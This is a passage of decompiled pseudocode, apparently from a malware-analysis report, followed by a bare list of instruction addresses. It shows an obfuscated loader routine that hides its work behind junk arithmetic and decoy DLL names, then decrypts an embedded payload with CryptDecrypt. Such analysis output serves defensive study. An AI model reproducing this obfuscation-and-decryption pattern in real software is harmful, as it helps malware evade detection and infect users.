						if(0 != 0) {
							__eflags = _v76 - _v80 - _v76;
							if(_v76 - _v80 < _v76) {
								_t1753 =  *0x8aa1dc; // 0x8b0921
								_v105 =  *_t1753;
								__eflags = _v105 + 0x9f - 0x1a;
								if(_v105 + 0x9f - 0x1a < 0) {
									_t262 =  &_v105;
									 *_t262 = _v105 - 0x20;
									__eflags =  *_t262;
								}
								_t1758 =  *0x8a9fcc; // 0x8b0927
								_v106 =  *_t1758;
								__eflags = _v106 + 0x9f - 0x1a;
								if(_v106 + 0x9f - 0x1a < 0) {
									_t266 =  &_v106;
									 *_t266 = _v106 - 0x20;
									__eflags =  *_t266;
								}
								_t1763 =  *0x8aa15c; // 0x8b091c
								_v107 =  *_t1763;
								__eflags = _v107 + 0x9f - 0x1a;
								if(_v107 + 0x9f - 0x1a < 0) {
									_t270 =  &_v107;
									 *_t270 = _v107 - 0x20;
									__eflags =  *_t270;
								}
								_t1768 =  *0x8aa1dc; // 0x8b0921
								_v108 =  *_t1768;
								__eflags = _v108 + 0x9f - 0x1a;
								if(_v108 + 0x9f - 0x1a < 0) {
									_t274 =  &_v108;
									 *_t274 = _v108 - 0x20;
									__eflags =  *_t274;
								}
								_t1773 =  *0x8a9ffc; // 0x8b091a
								_v109 =  *_t1773;
								__eflags = _v109 + 0x9f - 0x1a;
								if(_v109 + 0x9f - 0x1a < 0) {
									_t278 =  &_v109;
									 *_t278 = _v109 - 0x20;
									__eflags =  *_t278;
								}
								_t1778 =  *0x8a9e60; // 0x8b0923
								_v110 =  *_t1778;
								__eflags = _v110 + 0x9f - 0x1a;
								if(_v110 + 0x9f - 0x1a < 0) {
									_t282 =  &_v110;
									 *_t282 = _v110 - 0x20;
									__eflags =  *_t282;
								}
								_t1783 =  *0x8aa15c; // 0x8b091c
								_v111 =  *_t1783;
								_t285 =  &_v111; // 0x74
								__eflags =  *_t285 + 0x9f - 0x1a;
								if( *_t285 + 0x9f - 0x1a < 0) {
									_t286 =  &_v111;
									 *_t286 = _v111 - 0x20;
									__eflags =  *_t286;
								}
								_t1788 =  *0x8a9f14; // 0x8b0922
								_v112 =  *_t1788;
								__eflags = _v112 + 0x9f - 0x1a;
								if(_v112 + 0x9f - 0x1a < 0) {
									_t290 =  &_v112;
									 *_t290 = _v112 - 0x20;
									__eflags =  *_t290;
								}
								_t1793 =  *0x8a9f14; // 0x8b0922
								_v113 =  *_t1793;
								__eflags = _v113 + 0x9f - 0x1a;
								if(_v113 + 0x9f - 0x1a < 0) {
									_t294 =  &_v113;
									 *_t294 = _v113 - 0x20;
									__eflags =  *_t294;
								}
								E0040A3C0(0);
								_push(_v320);
								E0040A3C0(0);
								_push(_v324);
								E0040A3C0(0);
								_push(_v328);
								E0040A3C0(0);
								_push(_v332);
								E0040A3C0(0);
								_push(_v336);
								E0040A3C0(0);
								_push(_v340);
								_push(0x88532c);
								E0040A3C0(0);
								_push(_v344);
								E0040A3C0(0);
								_push(_v348);
								E0040A3C0(0);
								E0040A494( &_v316, _t2053, 0xa, _t2561, _t2562);
								E0040A9E8( &_v40, _v316, _v352);
								E0040A0C0( &_v36, _v36);
								E0040A0C0( &_v40, _v36);
								E0040A0C0( &_v36, _v36);
								E0040ACEC(_v40, 1, 1,  &_v36);
								E0040A0C0( &_v40, _v36);
							}
						} else {
							if(_v60 - _v64 == _v76) {
								asm("fild dword [ebp-0x3c]");
								_v88 = E004076E8();
								_v48 = _v68 * 0xe2;
								_v56 = _v84 - 0xd6;
								_v72 = _v76 - _v60;
								E0040A0C0( &_v40, _v36);
								E0040A0C0( &_v36, _v36);
							}
							_t2471 =  *0x8a99d4; // 0x0
							if(E0040AEFC(L"Api-ms-win-downlevel-advapi32-l1-1-1.dll", 1, _t2471) >= 0x7e) {
								E0040A0C0( &_v40, _v36);
								E0040A0C0( &_v40, L"oleacchooks.dll");
								E0040A0C0( &_v36, _v36);
								E0040A0C0( &_v36, _v40);
								E0040A0C0( &_v40, _v36);
								E0040ACEC(_v36, 0, 1,  &_v40);
							} else {
								E0040ACEC(_v40, 1, 1,  &_v36);
								E0040A0C0( &_v36, _v36);
								E0040A0C0( &_v40, _v40);
								E0040ACEC(_v36, 0, 1,  &_v40);
								E0040A0C0( &_v36, _v36);
								E0040A0C0( &_v40, _v36);
							}
						}
						if(_v76 - _v44 >= _v76) {
							E0040A0C0( &_v36, _v36);
							E0040A0C0( &_v36, _v40);
							E0040A0C0( &_v36, L"NlsData0047.dll");
						} else {
							E0040A0C0( &_v36, _v36);
							E0040A0C0( &_v40, _v40);
							E0040A0C0( &_v40, _v36);
							E0040A0C0( &_v36, L"SensorsApi.dll");
						}
						E0040A0C0( &_v36, _v40);
						E0040A0C0( &_v36, _v36);
						E0040A0C0( &_v36, _v40);
						E0040A0C0( &_v36, _v36);
						_v120 = _v12;
						if(_v120 != 0) {
							_v120 =  *((intOrPtr*)(_v120 - 4));
						}
						_push(0);
						_push(_v120);
						_push(_v12);
						_push(_v28);
						if( *0x8b1250() == 0) {
							L136:
							E0040A0C0( &_v36, _v36);
							_v60 = _v80 + _v72;
							asm("fild dword [ebp-0x40]");
							_v64 = E004076E8();
							_v92 = _v76;
							_v88 = _v84 + _v56;
							E0040A0C0( &_v40, _v36);
							_pop(_t2237);
							 *[fs:eax] = _t2237;
							_push(E00884967);
							_v68 = _v92 + 0xe6;
							_v72 = _v88 + 0xd8;
							_v84 = 0x60 - _v48;
							_v52 = _v56 - _v80;
							__eflags = _v76 - _v68 - _v76;
							if(_v76 - _v68 >= _v76) {
								E0040A0C0( &_v36, L"FXSCOVER.exe");
							} else {
								__eflags = _v72 + 0xc2 - _v64;
								if(_v72 + 0xc2 < _v64) {
									E0040ACEC(_v40, 1, 1,  &_v40);
									E0040A0C0( &_v36, _v36);
									E0040A0C0( &_v36, _v36);
									E0040A0C0( &_v36, _v40);
									E0040A0C0( &_v40, _v36);
									E0040A0C0( &_v40, L"RtlUnicodeStringToOemSize");
								}
							}
							_push(_t2564);
							_push(0x883f65);
							_push( *[fs:eax]);
							 *[fs:eax] = _t2565;
							_t1182 =  *0x8a9f40; // 0x8b0925
							_v137 =  *_t1182;
							__eflags = _v137 + 0x9f - 0x1a;
							if(_v137 + 0x9f - 0x1a < 0) {
								_t871 =  &_v137;
								 *_t871 = _v137 - 0x20;
								__eflags =  *_t871;
							}
							_t1187 =  *0x8aa0b8; // 0x8b0928
							_v138 =  *_t1187;
							__eflags = _v138 + 0x9f - 0x1a;
							if(_v138 + 0x9f - 0x1a < 0) {
								_t875 =  &_v138;
								 *_t875 = _v138 - 0x20;
								__eflags =  *_t875;
							}
							_t1192 =  *0x8aa0b4; // 0x8b091f
							_v139 =  *_t1192;
							__eflags = _v139 + 0x9f - 0x1a;
							if(_v139 + 0x9f - 0x1a < 0) {
								_t879 =  &_v139;
								 *_t879 = _v139 - 0x20;
								__eflags =  *_t879;
							}
							_t1197 =  *0x8a9f14; // 0x8b0922
							_v140 =  *_t1197;
							__eflags = _v140 + 0x9f - 0x1a;
							if(__eflags < 0) {
								_t883 =  &_v140;
								 *_t883 = _v140 - 0x20;
								__eflags =  *_t883;
							}
							E0040A3C0(0);
							_push(_v684);
							E0040A3C0(0);
							_push(_v688);
							E0040A3C0(0);
							_push(_v692);
							E0040A3C0(0);
							_push(_v696);
							E006BA5A8(6,  &_v700, __eflags);
							_push(_v700);
							E006BA5A8(0,  &_v704, __eflags);
							_push(_v704);
							E006BA5A8(0,  &_v708, __eflags);
							_push(_v708);
							_push(0x88532c);
							E0040A494( &_v148, _t2053, 8, _t2561, _t2562);
							_t1218 =  *0x8aa15c; // 0x8b091c
							_v141 =  *_t1218;
							__eflags = _v141 + 0x9f - 0x1a;
							if(_v141 + 0x9f - 0x1a < 0) {
								_t906 =  &_v141;
								 *_t906 = _v141 - 0x20;
								__eflags =  *_t906;
							}
							_t1223 =  *0x8a9f14; // 0x8b0922
							_v149 =  *_t1223;
							__eflags = _v149 + 0x9f - 0x1a;
							if(_v149 + 0x9f - 0x1a < 0) {
								_t910 =  &_v149;
								 *_t910 = _v149 - 0x20;
								__eflags =  *_t910;
							}
							_t1228 =  *0x8a9f14; // 0x8b0922
							_v150 =  *_t1228;
							__eflags = _v150 + 0x9f - 0x1a;
							if(_v150 + 0x9f - 0x1a < 0) {
								_t914 =  &_v150;
								 *_t914 = _v150 - 0x20;
								__eflags =  *_t914;
							}
							_push(_v148);
							E0040A3C0(0);
							_push(_v716);
							E0040A3C0(0);
							_push(_v720);
							E0040A3C0(0);
							E0040A494( &_v712, _t2053, 4, _t2561, _t2562);
							E0040A9E8( &_v36, _v712, _v724);
							__eflags = 0;
							_pop(_t2252);
							 *[fs:eax] = _t2252;
							_push(E00883F6C);
							return E00409CBC( &_v148);
						} else {
							_v80 = 0;
							while(_v80 < 9) {
								_v80 = _v80 + 1;
								_v312 = _v88 + 0xb7;
								asm("fild dword [ebp-0x134]");
								_v60 = E004076E8();
							}
							_t1262 =  *0x8a9abc; // 0x46db6e96
							 *0x8a9abc = E00407278(_t1262);
							_v68 = 0xe0 - _v92;
							_t1266 =  *0x8a9b54; // 0x3d5d8300
							_t2602 = _t1266 + 0xf8 -  *0x8a9a84; // 0xf5bf4ea3
							if(_t2602 >= 0) {
								__eflags = 0;
								_v76 = 0;
								do {
									_v44 = _v84 + _v48;
									_t1271 =  *0x8a9b98; // 0x6c1f3d8e
									 *0x8a9ac4 = _t1271 + 0xa2;
									_t1273 =  *0x8a9b4c; // 0x3d5d8266
									 *0x8a9b64 = _t1273 *  *0x8a9a70;
									_t1275 =  *0x8a9af4; // 0x4c5f602c
									 *0x8a9a70 = _t1275 +  *0x8a9b30;
									_t1277 =  *0x8a9a50; // 0x21bb532
									 *0x8a9b30 = _t1277 +  *0x8a9ad4;
									 *0x8a9a3c =  *0x8a9b50 * 0x2a;
									_v76 = _v76 + 1;
									__eflags = _v76 - 5;
								} while (_v76 != 5);
							} else {
								_t1737 =  *0x8a9af0; // 0x3e3c55b
								 *0x8a9af0 = E00407278(_t1737);
							}
							_t1280 =  *0x8a9a84; // 0xf5bf4ea3
							_t2603 = _t1280 - E008A9A8C -  *0x8a9b54; // 0x3d5d8300
							if(_t2603 != 0) {
								__eflags = 0;
								 *0x8a9ba8 = 0;
								_push(0x8a9adc);
								_push( &_v84);
								E00881594(0x8a9a34, _t2053,  &_v52, 0x8a9bb0,  &_v84, 0x8a9b74);
							} else {
								_t1735 =  *0x8a9b18; // 0x12e
								 *0x8a9ab4 = _t1735 + 4;
							}
							_t1287 =  *0x8a9b28; // 0x3d5d8347
							_v312 = _t1287 + 0x2d;
							asm("fild dword [ebp-0x134]");
							 *0x8a9b40 = E004076E8();
							_t1293 =  *0x8b1254(_v20, 0x6610, _v28, 0,  &_v24); // executed
							if(_t1293 == 0) {
								goto L136;
							} else {
								_push(_t2564);
								_push(0x883593);
								_push( *[fs:eax]);
								 *[fs:eax] = _t2565;
								E0040A0C0( &_v36, _v40);
								_v88 = 0;
								do {
									_v312 = _v44 + 0x61;
									asm("fild dword [ebp-0x134]");
									_v72 = E004076E8();
									E0040A0C0( &_v36, _v40);
									_v88 = _v88 + 1;
								} while (_v88 != 0xd);
								_v68 = 0xda - _v84;
								E0040A0C0( &_v36, _v36);
								_v48 = _v52 - _v60;
								E0040A0C0( &_v36, _v36);
								_v32 = E006C0A40( *_v8);
								_v60 = _v72 + 0x25;
								_v84 = 0;
								do {
									_v68 = _v76 + _v92;
									E0040ACEC(_v40, 1, 1,  &_v36);
									_v84 = _v84 + 1;
								} while (_v84 != 7);
								_v64 = 0;
								while(_v64 < 4) {
									_v64 = _v64 + 1;
									_t1732 =  *0x8a9a44; // 0xdd124098
									 *0x8a9b28 = _t1732;
									_v80 = _v56 + _v52;
								}
								_v88 = 0;
								_t1324 =  *0x8a9a6c; // 0xd2d18e86
								 *0x8a9b1c = _t1324;
								E0040ACEC(_v36, 0, 1,  &_v36);
								if(_v76 - _v80 < _v76) {
									 *0x8a9a78 =  *0x8a9b04 * 0x6c;
								}
								_t1330 =  *0x8a9a74; // 0xfde44ace
								 *0x8a9ab4 = _t1330 - 0xa8;
								if(CryptDecrypt(_v24, 0, 0xffffffff, 0,  *( *_v8 + 4),  &_v32) != 0) {
									if(_v80 + 0x30 >= _v44) {
										__eflags = _v92 + _v72 - _v72;
										if(_v92 + _v72 <= _v72) {
											E0040A0C0( &_v40, _v36);
											E0040A0C0( &_v36, _v40);
											__eflags = 0;
											E0040ACEC(_v36, 0, 1,  &_v36);
											E0040A0C0( &_v40, _v40);
											E0040A0C0( &_v36, _v40);
											E0040A0C0( &_v36, _v36);
										} else {
											E0040ACEC(_v36, 0, 1,  &_v36);
											E0040ACEC(_v36, 0, 1,  &_v40);
											E0040A0C0( &_v40, L"VarCyMulI8");
											E0040A0C0( &_v36, _v36);
											E0040A0C0( &_v36, _v40);
											E0040A0C0( &_v36, _v36);
										}
										E0040ACEC(_v40, 1, 1,  &_v36);
										_t1512 =  *0x8a99d4; // 0x0
										_v124 = _t1512;
										__eflags = _v124;
										if(_v124 != 0) {
											_t1696 = _v124 - 4;
											__eflags = _t1696;
											_v124 =  *_t1696;
										}
										__eflags = _v124 - 0x2e;
										if(_v124 <= 0x2e) {
											E0040A0C0( &_v36, _v36);
											E0040A0C0( &_v40, _v40);
											E0040A0C0( &_v40, _v36);
											E0040A0C0( &_v36, _v40);
											E0040A0C0( &_v36, _v36);
											E0040A0C0( &_v36, _v40);
										} else {
											E0040A0C0( &_v40, _v36);
											E0040ACEC(_v40, 1, 1,  &_v40);
											E0040A0C0( &_v36, _v40);
											E0040A0C0( &_v40, L"KBDBGPH.DLL");
											E0040A0C0( &_v40, _v40);
											E0040A0C0( &_v36, _v36);
										}
										__eflags = 0;
										E0040ACEC(_v36, 0, 1,  &_v36);
									} else {
										_v52 = _v56 + 0xb3;
										_v80 = 0;
										while(_v80 < 5) {
											_v80 = _v80 + 1;
											_v44 = _v76 - 0xbe;
											_v92 = _v88 + 0x67;
											E0040A0C0( &_v40, _v40);
											E0040A0C0( &_v36, _v40);
											E0040A0C0( &_v36, _v36);
											E0040ACEC(_v36, 0, 1,  &_v40);
										}
										E0040ACEC(_v40, 1, 1,  &_v36);
									}
									E0040A0C0( &_v36, _v40);
									E0040ACEC(_v40, 1, 1,  &_v36);
									E0040ACEC(_v40, 1, 1,  &_v40);
									E0040A0C0( &_v36, L"RegGetKeySecurity");
									E0040A0C0( &_v36, L"RtlQuerySecurityObject");
									E006C0A5C( *_v8, _v32);
									_t2617 = 0x38 - _v72 - 0x27;
									if(0x38 - _v72 < 0x27) {
										_v60 = 0;
										_push(_v68);
										_t1658 =  *0x8a9b5c; // 0xfffffd84
										_push(_t1658);
										_t2430 =  *0x8a9ad4; // 0xa40b347
										E008736F0(_v84, _t2053, _v72, _t2430, _t2617);
										E0040A0C0( &_v36, L"spwmp.dll");
										_v72 = _v44 + _v84;
										E0040A0C0( &_v36, L"Microsoft.Windows.Diagnosis.TroubleshootingPack.resources.dll");
										_t1667 =  *0x8a9b4c; // 0x3d5d8266
										if(_t1667 -  *0x8a9a6c < 0x55) {
											_v68 = _v56 - 0x59;
											_v48 = _v88 * _v80;
											 *0x8a9b18 = 0x45 -  *0x8a9ba4;
											_t1675 =  *0x8a9b54; // 0x3d5d8300
											 *0x8a9bb0 = _t1675 + 0x74;
											_v312 = _v92 + 0xae;
											asm("fild dword [ebp-0x134]");
											_v52 = E004076E8();
											_t1680 =  *0x8a9b00; // 0x23fd000
											 *0x8a9b1c = _t1680 + 4;
										}
									}
									_t1545 =  *0x8a9b88; // 0x95740b86
									 *0x8a9ac0 = _t1545 -  *0x8a9b38;
									E0040A0C0( &_v36, _v40);
									_t1549 =  *0x8a9b98; // 0x6c1f3d8e
									 *0x8a9ad8 = _t1549 *  *0x8a9b4c;
									 *0x8a9b78 = 0;
									E0087EB5C();
									 *0x8a9ad4 =  *0x8a9b78 * 0x1c;
									_v13 = 1;
									_v72 = _v80 * 0x6c;
									_t1555 =  *0x8aa288; // 0x8b091b
									_v125 =  *_t1555;
									if(_v125 + 0x9f - 0x1a < 0) {
										_v125 = _v125 - 0x20;
									}
									_t1560 =  *0x8a9ce4; // 0x8b0912
									_v126 =  *_t1560;
									if(_v126 + 0x9f - 0x1a < 0) {
										_v126 = _v126 - 0x20;
									}
									_t1565 =  *0x8aa288; // 0x8b091b
									_v127 =  *_t1565;
									if(_v127 + 0x9f - 0x1a < 0) {
										_v127 = _v127 - 0x20;
									}
									_t1570 =  *0x8a9cf4; // 0x8b0911
									_v128 =  *_t1570;
									if(_v128 + 0x9f - 0x1a < 0) {
										_t583 =  &_v128;
										 *_t583 = _v128 - 0x20;
										_t2627 =  *_t583;
									}
									E0040A3C0(0);
									_push(_v360);
									E0040A3C0(0);
									_push(_v364);
									E0040A3C0(0);
									_push(_v368);
									E0040A3C0(0);
									_push(_v372);
									E0040A3C0(0);
									_push(_v376);
									E0040A3C0(0);
									_push(_v380);
									_push(0x88532c);
									E0040A3C0(0);
									_push(_v384);
									E0040A3C0(0);
									_push(_v388);
									E0040A3C0(0);
									_push(_v392);
									E0040A3C0(0);
									_push(_v396);
									E0040A3C0(0);
									_push(_v400);
									E0040A3C0(0);
									_push(_v404);
									E0040A3C0(0);
									_push(_v408);
									E0040A3C0(0);
									_push(_v412);
									E0040A3C0(0);
									_push(_v416);
									E0040A3C0(0);
									_push(_v420);
									E0040A3C0(0);
									_push(_v424);
									E0040A3C0(0);
									_push(_v428);
									E0040A3C0(0);
									_push(_v432);
									E0040A3C0(0);
									_push(_v436);
									E0040A3C0(0);
									_push(_v440);
									E0040A3C0(0);
									_push(_v444);
									E0040A3C0(0);
									_push(_v448);
									E0040A3C0(0);
									_push(_v452);
									_push(0x88532c);
									E0040A3C0(0);
									_push(_v456);
									E0040A3C0(0);
									_push(_v460);
									E0040A3C0(0);
									_push(_v464);
									E0040A3C0(0);
									_push(_v468);
									E0040A3C0(0);
									_push(_v472);
									E0040A3C0(0);
									_push(_v476);
									E0040A3C0(0);
									_push(_v480);
									_push(0x88532c);
									E0040A3C0(0);
									_push(_v484);
									E0040A3C0(0);
									_push(_v488);
									E0040A3C0(0);
									E0040A494( &_v356, _t2053, 0x25, _t2561, _t2562);
									E0040A9E8( &_v36, _v356, _v492);
									_v52 = 0;
									E00870FD8( &_v68, 0x8a9a54, _t2627);
									_v88 = 0;
									do {
										_v60 = _v48 - 0x82;
										_v88 = _v88 + 1;
									} while (_v88 != 5);
									_t1653 =  *0x8a9a38; // 0x299e4f10
									 *0x8a9ad8 = _t1653;
									E0040A0C0( &_v36, _v40);
								}
								_pop(_t2267);
								 *[fs:eax] = _t2267;
								_push(E0088359D);
								_v88 = 0;
								do {
									if(_v72 + _v80 < _v72 + _v72) {
										_v64 = _v56 * _v80;
										_v44 = _v72 * 0xf7;
										_v60 = _v68 + 0x70;
										E0040A0C0( &_v40, _v36);
										_t1443 =  &_v264;
										_t2302 =  *0x8aa15c; // 0x8b091c
										 *((char*)(_t1443 + 1)) =  *_t2302;
										 *_t1443 = 1;
										E0040A324( &_v268,  &_v264);
										_t1446 =  &_v272;
										_t2305 =  *0x8aa288; // 0x8b091b
										 *((char*)(_t1446 + 1)) =  *_t2305;
										 *_t1446 = 1;
										E0040A34C( &_v268, 2,  &_v272);
										E0040A324( &_v312,  &_v268);
										_t1451 =  &_v272;
										_t2309 =  *0x8a9c3c; // 0x8b0918
										 *((char*)(_t1451 + 1)) =  *_t2309;
										 *_t1451 = 1;
										E0040A34C( &_v312, 3,  &_v272);
										E0040A324( &_v500,  &_v312);
										_t1456 =  &_v272;
										_t2313 =  *0x8aa080; // 0x8b0916
										 *((char*)(_t1456 + 1)) =  *_t2313;
										 *_t1456 = 1;
										E0040A34C( &_v500, 4,  &_v272);
										E0040A324( &_v508,  &_v500);
										_t1461 =  &_v272;
										_t2317 =  *0x8aa0b8; // 0x8b0928
										 *((char*)(_t1461 + 1)) =  *_t2317;
										 *_t1461 = 1;
										E0040A34C( &_v508, 5,  &_v272);
										E0040A324( &_v516,  &_v508);
										_t1466 =  &_v272;
										_t2321 =  *0x8aa15c; // 0x8b091c
										 *((char*)(_t1466 + 1)) =  *_t2321;
										 *_t1466 = 1;
										E0040A34C( &_v516, 6,  &_v272);
										E0040A324( &_v524,  &_v516);
										E0040A34C( &_v524, 7, 0x885618);
										E0040A324( &_v536,  &_v524);
										_t1475 =  &_v272;
										_t2327 =  *0x8aa15c; // 0x8b091c
										 *((char*)(_t1475 + 1)) =  *_t2327;
										 *_t1475 = 1;
										E0040A34C( &_v536, 8,  &_v272);
										E0040A324( &_v548,  &_v536);
										_t1480 =  &_v272;
										_t2331 =  *0x8a9f14; // 0x8b0922
										 *((char*)(_t1480 + 1)) =  *_t2331;
										 *_t1480 = 1;
										E0040A34C( &_v548, 9,  &_v272);
										E0040A324( &_v560,  &_v548);
										_t1485 =  &_v272;
										_t2335 =  *0x8a9f14; // 0x8b0922
										 *((char*)(_t1485 + 1)) =  *_t2335;
										 *_t1485 = 1;
										E0040A34C( &_v560, 0xa,  &_v272);
										E0040AA98( &_v560);
										E0040A0C0( &_v36, _v40);
									}
									E0040A0C0( &_v40, L"MmcAspExt.dll");
									E0040ACEC(_v40, 1, 1,  &_v36);
									E0040A0C0( &_v36, _v36);
									_v88 = _v88 + 1;
								} while (_v88 != 0xb);
								E0040ACEC(_v40, 1, 1,  &_v36);
								if(_v76 - _v68 < 0x7a) {
									E0040A0C0( &_v40, _v40);
									E0040A0C0( &_v36, _v36);
									E0040ACEC(_v36, 0, 1,  &_v36);
									E0040A0C0( &_v36, _v40);
									E0040A0C0( &_v40, L"mswmdm.dll");
									E0040A0C0( &_v40, _v40);
								}
								if(_v76 + 0xb8 >= _v72) {
									_t1356 =  *0x8a99d4; // 0x0
									E0040ACB4(_t1356, L"DevicePairingHandler.dll");
									if(__eflags != 0) {
										E0040A0C0( &_v36, _v36);
										E0040A0C0( &_v40, L"mssitlb.dll");
										E0040A0C0( &_v40, _v36);
										E0040A0C0( &_v36, _v40);
										__eflags = 0;
										E0040ACEC(_v36, 0, 1,  &_v36);
										E0040A0C0( &_v40, _v36);
									} else {
										E0040ACEC(_v36, 0, 1,  &_v36);
										E0040A0C0( &_v36, _v40);
										E0040A0C0( &_v40, _v40);
										E0040A0C0( &_v40, _v36);
										E0040A0C0( &_v36, _v40);
										E0040A0C0( &_v36, _v36);
									}
								} else {
									E0040A0C0( &_v36, _v36);
								}
								E0040A0C0( &_v36, _v40);
								E0040A0C0( &_v36, _v40);
								CryptDestroyKey(_v24);
								_v312 = _v48 + 0x17;
								asm("fild dword [ebp-0x134]");
								_v64 = E004076E8();
								E0040A0C0( &_v36, _v40);
								_t1382 =  *0x8a9a58; // 0x22edbf74
								 *0x8a9b24 = _t1382;
								_v56 = 0;
								_push(_v80);
								_push(_v88);
								_t2284 =  *0x8a9ba0; // 0x9636d2e0
								E0087039C(_v44, _t2053, _t2284, _t2561, _t2562);
								_t2285 =  *0x8a9b10; // 0x0
								if(E0040AEFC(L"igd10umd32.dll", 1, _t2285) != 0x49) {
									_v84 = 0;
									do {
										_v92 = _v44 + 4;
										_v312 = _v52 + 0x7d;
										asm("fild dword [ebp-0x134]");
										_v68 = E004076E8();
										_t1401 =  *0x8a9a78; // 0x46db6e33
										 *0x8a9b14 = _t1401 - 0xf6;
										_t1403 =  *0x8a9bbc; // 0x9636d2f7
										 *0x8a9ba4 = _t1403 + 4;
										 *0x8a9ae8 =  *0x8a9a94 * 0x87;
										_t1406 =  *0x8a9b50; // 0x3ea7bd43
										 *0x8a9b98 = _t1406 +  *0x8a9b90;
										_v84 = _v84 + 1;
									} while (_v84 != 0x10);
								}
								_t1390 = _v36;
								_v132 = _t1390;
								if(_v132 != 0) {
									_t1390 =  *((intOrPtr*)(_v132 - 4));
									_v132 = _t1390;
								}
								if(_v132 > 0xa6) {
									_t1391 =  *0x8a9b54; // 0x3d5d8300
									_t1392 = _t1391 *  *0x8a9bc0;
									 *0x8a9ae4 = _t1392;
									return _t1392;
								}
								return _t1390;
							}
						}
					}
				}
			}

0x00881940
0x00881940
0x00881940
0x00881941
0x00881943
0x00881948
0x00881948
0x0088194a
0x0088194c
0x0088194c
0x0088194f
0x00881950
0x00881951
0x00881952
0x00881955
0x0088195b
0x00881962
0x00881963
0x00881968
0x0088196b
0x0088196e
0x00881974
0x00881975
0x0088197a
0x0088197d
0x00881986
0x00881993
0x00881998
0x0088199f
0x008819d6
0x008819dd
0x008819e7
0x008819e9
0x008819e9
0x008819ed
0x008819f4
0x008819fe
0x00881a00
0x00881a00
0x00881a04
0x00881a0b
0x00881a15
0x00881a17
0x00881a17
0x00881a1b
0x00881a22
0x00881a2c
0x00881a2e
0x00881a2e
0x00881a40
0x00881a45
0x00881a5e
0x00881a63
0x00881a7c
0x00881a81
0x00881a9a
0x00881a9f
0x00881ab8
0x00881abd
0x00881ad6
0x00881adb
0x00881af4
0x00881af9
0x00881b0d
0x00881b12
0x00881b26
0x00881b2b
0x00881b3f
0x00881b44
0x00881b58
0x00881b5d
0x00881b76
0x00881b7b
0x00881b94
0x00881b99
0x00881bb2
0x00881bb7
0x00881bcb
0x00881bd0
0x00881be9
0x00881bee
0x00881c07
0x00881c0c
0x00881c25
0x00881c2a
0x00881c43
0x00881c48
0x00881c61
0x00881c66
0x00881c7f
0x00881c84
0x00881c9d
0x00881ca2
0x00881cbb
0x00881cd1
0x00881cdf
0x00881ce6
0x00881cf1
0x00881cfc
0x00881d05
0x00881d12
0x00881d1d
0x00881d28
0x00881d38
0x00881d3f
0x00881d49
0x00881d4b
0x00881d4b
0x00881d4f
0x00881d56
0x00881d60
0x00881d62
0x00881d62
0x00881d62
0x00881d62
0x00881d66
0x00881d6c
0x00881d74
0x00881d77
0x00881d86
0x00881d8b
0x00881d91
0x00881d99
0x00881d9c
0x00881dad
0x00881dc3
0x00881dc8
0x00881ddc
0x00881de1
0x00881dfa
0x00881dff
0x00881e18
0x00881e1d
0x00881e31
0x00881e36
0x00881e4f
0x00881e54
0x00881e6d
0x00881e72
0x00881e78
0x00881e90
0x00881e95
0x00881eae
0x00881eb3
0x00881ecc
0x00881ee2
0x00881ef0
0x00881ef0
0x00881f07
0x00881f1d
0x00881f30
0x00881f44
0x00881f4a
0x00881f4c
0x00884e70
0x00884e72
0x00884e75
0x00884e77
0x00884e7a
0x00884e7e
0x00884e80
0x00884e87
0x00884e90
0x00884e9b
0x00884ea5
0x00884eb5
0x00884eba
0x00884ec5
0x00884eca
0x00884eca
0x00884ed0
0x00884ed3
0x00884ed3
0x00884edf
0x00884ee6
0x00884eeb
0x00884ef0
0x00884efa
0x00884eff
0x00884f0a
0x00884f17
0x00884f1e
0x00884f21
0x0088521e
0x00885220
0x00885223
0x00885226
0x00885236
0x00885246
0x00885251
0x00885261
0x0088526c
0x0088527c
0x0088528c
0x0088529c
0x008852ac
0x008852bc
0x008852c7
0x008852d4
0x008852e1
0x00881f52
0x00881f5a
0x00881f5f
0x00881f6d
0x00881f72
0x00881f75
0x00881f79
0x00881f7e
0x00881f7e
0x00881f83
0x00881f83
0x00881f86
0x00881f8a
0x00881f94
0x00881f9a
0x00881fa5
0x00881fae
0x00881fb7
0x00881fba
0x00881fc5
0x00881fca
0x00881fcf
0x00881fcf
0x00881fd2
0x00881fd7
0x00881fdc
0x00881fdc
0x00881f61
0x00881f63
0x00881f66
0x00881f66
0x00881fe1
0x00881fec
0x00881ff7
0x00882002
0x00882009
0x0088200c
0x00882010
0x00882012
0x00882017
0x00882029
0x0088202e
0x0088203d
0x0088211d
0x00882122
0x00882122
0x00882125
0x00882043
0x00882056
0x008820c5
0x008820cf
0x008820d4
0x008820de
0x008820e3
0x008820ed
0x008820fc
0x00882101
0x00882109
0x0088210e
0x00882116
0x00882058
0x00882058
0x00882063
0x00882072
0x00882081
0x00882091
0x00882096
0x008820a0
0x008820a5
0x008820ad
0x008820b3
0x008820be
0x008820be
0x00882056
0x0088212c
0x0088212d
0x00882132
0x00882135
0x0088213a
0x00882141
0x00882143
0x0088214c
0x0088214f
0x0088214f
0x00882157
0x0088215c
0x00882165
0x0088216d
0x00882178
0x00882181
0x0088218a
0x00882192
0x00882193
0x00882195
0x00882197
0x0088219f
0x008821a8
0x00884a5b
0x00884a5e
0x00884a61
0x00884a6c
0x00884a80
0x00884a8b
0x00884a90
0x00884a93
0x00884a97
0x00884a99
0x00884a9e
0x00884aa1
0x00884aa5
0x00884aa7
0x00884ab2
0x00884abb
0x00884ad1
0x00884adf
0x00884ae8
0x00884af3
0x00884af8
0x00884af8
0x00884afe
0x00884afe
0x00884b0a
0x00884b15
0x00884b1e
0x00884b2d
0x008821ae
0x008821b0
0x008821b1
0x008821b6
0x008821b9
0x008821bc
0x008821c6
0x008821cb
0x008822e6
0x008822e9
0x008822ef
0x008822f6
0x008822fe
0x00882300
0x00882302
0x00882302
0x00882302
0x00882302
0x00882306
0x0088230d
0x00882315
0x00882317
0x00882319
0x00882319
0x00882319
0x00882319
0x0088231d
0x00882324
0x0088232c
0x0088232e
0x00882330
0x00882330
0x00882330
0x00882330
0x00882334
0x0088233b
0x00882343
0x00882345
0x00882347
0x00882347
0x00882347
0x00882347
0x0088234b
0x00882352
0x0088235a
0x0088235c
0x0088235e
0x0088235e
0x0088235e
0x0088235e
0x00882362
0x00882369
0x00882371
0x00882373
0x00882375
0x00882375
0x00882375
0x00882375
0x00882379
0x00882380
0x00882383
0x00882388
0x0088238a
0x0088238c
0x0088238c
0x0088238c
0x0088238c
0x00882390
0x00882397
0x0088239f
0x008823a1
0x008823a3
0x008823a3
0x008823a3
0x008823a3
0x008823a7
0x008823ae
0x008823b6
0x008823b8
0x008823ba
0x008823ba
